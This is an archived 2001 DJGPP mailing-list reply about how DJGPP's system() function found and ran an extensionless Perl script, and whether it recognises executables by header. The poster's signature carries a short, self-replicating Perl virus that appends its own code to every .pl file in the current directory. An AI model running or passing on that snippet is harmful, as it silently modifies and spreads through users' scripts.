Mail Archives: djgpp/2001/03/04/14:36:40.2
Eli Zaretskii <eliz AT is DOT elta DOT co DOT il> schrieb Folgendes:
> > Newsgroups: comp.os.msdos.djgpp
> > Date: Sun, 4 Mar 2001 14:58:15 +0000 (GMT)
> > From: Daniel Barker <sokal AT holyrood DOT ed DOT ac DOT uk>
> >
> > I still have a small question. Neither BASH nor COMMAND.COM will run
> > poo.pl if I just enter the command poo (without extension). I expect
> > this. In BASH, I do not have . (current directory) in my PATH, and
> > COMMAND.COM does not regard .pl files as executable. So why is PERL even
> > trying to arrange execution of the file poo.pl?
>
> I don't know Perl well enough to answer that. My guess would be that
> Perl simply calls the library function `system' (or maybe `popen',
> which calls `system' internally) asking it to run `poo'. `system'
> looks and finds `poo.pl', but support for .pl scripts assumes that the
> first line of the script says what program should be invoked to run
> this script; `poo.pl' violates that assumption.
>
> I don't know what `poo.pl' was supposed to do, or how did you arrive
> at a program which ended up invoking it, but it sounds like a result
> of a rare coincidence together with a couple of subtle and
> hard-to-solve problems which have to do with running arbitrary
> programs on DOS/Windows. On balance, Perl should have been more
> cautious; it could, for example, check if the file is executable
> before invoking it.
>
> The next version of the DJGPP library changes the way `system' handles
> such files, because the current behavior is a bit unsafe, as you
> learned from this example. The modified `system' will not find
> `poo.pl' unless you actually mention the .pl extension. But I imagine
> even the new code will crash if you say `poo.pl` in a Perl program,
> and `poo.pl' doesn't have the "#!/usr/local/perl" on its first line.
So system() does not use the COMMAND.COM functionalities to execute a
program but searches itself to emulate Unix behaviour, but does not use
file extensions? So system() can call exe files with another extension
(.xxy for example)? MZ at the beginning and it is treated as
.EXE? Interesting...
--
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################
- Raw text -